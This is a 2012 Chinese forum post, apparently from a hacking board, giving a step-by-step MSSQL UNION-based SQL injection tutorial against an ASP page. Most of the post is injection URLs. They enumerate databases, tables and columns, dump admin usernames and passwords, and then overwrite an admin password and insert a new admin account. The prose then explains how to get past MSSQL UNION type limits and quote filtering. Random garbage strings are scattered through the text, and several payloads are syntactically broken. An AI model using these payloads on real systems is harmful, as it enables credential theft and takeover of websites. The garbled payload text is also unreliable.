找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2223|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:. t- @) ^9 e1 h2 I" e
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
3 h4 K. j3 y8 k9 ^8 CSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.1 ^. o1 R- c$ I# U. c7 z: p0 g, J
爆下一个库:5 i$ I0 u8 `# q! r6 ]! m. O3 n
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--6 N" Q" x% S" D' [9 P
* X1 u+ n5 a$ {
爆表:- y7 H5 ?8 a& q3 c0 d
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--* z7 Z. Y  b2 C

, d8 V% Q/ F/ SSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.  u) C# {  e0 D  m) ?8 S

2 D9 ?8 {' |: ]+ [8 [! d, q2 e爆下一个表& n6 v3 M5 C. \! S5 F7 z
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--0 }. g/ u1 z- m7 b* r
) N2 s8 O+ _# C2 l$ E1 ]8 ~+ k9 H; R
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
- k: V7 \5 D0 @3 k! p& C
$ L" R. y  g7 d( X5 r+ k* j3 s; n+ k6 ^- l6 N& \5 U: S9 i
0 i  s3 `+ a- x
爆字段:
2 n/ g* Y$ N* U+ `/ bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
! H7 D; Q1 j, Y8 q0 E
4 d; l1 L. s' }7 u9 n" O% Z爆下一个字段2 ?- N2 o, O! G1 F( V
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--. _* T/ J  A4 o$ L8 h
4 h6 t/ U) o2 j5 p7 `6 a& O
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
: r# F! X3 |- w  H& y. U( u  i0 s1 O) v" c- w
! D- ~" N! E( p
爆字段里的内容/ L. t' o7 n( R7 }) d$ y
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--7 v/ i& @7 E7 o5 \! }1 d  Z
6 f* G# a2 R* O+ Q
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
3 r0 n. A6 Q% X* I# g: C# J7 ^* A' [, C0 N8 t# O& E
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--' B; H! T2 Q+ B  r+ v
, k$ v# `' T4 \5 n4 {/ ~, @( L
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--( O0 ]$ i' W" m; V# W, Y

1 n* k6 F9 O- H% G更新字段里的内容" g7 J* Z/ y" d
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--5 c3 @6 B! ^* E1 u$ U) O
5 a0 U& I: B# w, ^, h% Z. ^
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--- w! s' {0 w2 N0 ]: U; S6 j2 g0 H

% Y6 m: N9 C9 r! S/ n! L
1 T; E' ^0 Q% r1 D& {  C6 D" o* p! A
        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
4 |/ R3 F, w2 H    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。; X/ N! \4 \. V8 L: Z  C
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。; O0 z/ b- D; w/ w# b; J
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。% L8 C$ A. j# b' ]4 y
) i9 I+ z! A/ l: \& ^$ ~
突了了大部份限制的语句" F7 W9 p( _, K- @
and 1=2 union all select char(49),char(50),null,null;--
+ k+ j% w0 V/ n* X) W' z4 [2 B0 l6 j! K

: A3 }+ p! y6 J% }+ x/ K2 O% n" ynull也可以正常执行,不过没有回显,不好判断回显的列数。9 I/ D+ \! s# g/ h2 O9 Z3 q5 n
一般union遇到问题都是有text或者ntext字段,image的很少遇到
; T$ R3 d: ]; I. M9 {; |9 V
9 N* ~0 y1 y1 }! w. c# l可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
2 R; [1 ]* c$ V! A
% D# j$ H' h. I* z4 N3 t5 U/ V
" f3 r8 ], P) H, @( h. d% M2 q+ I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表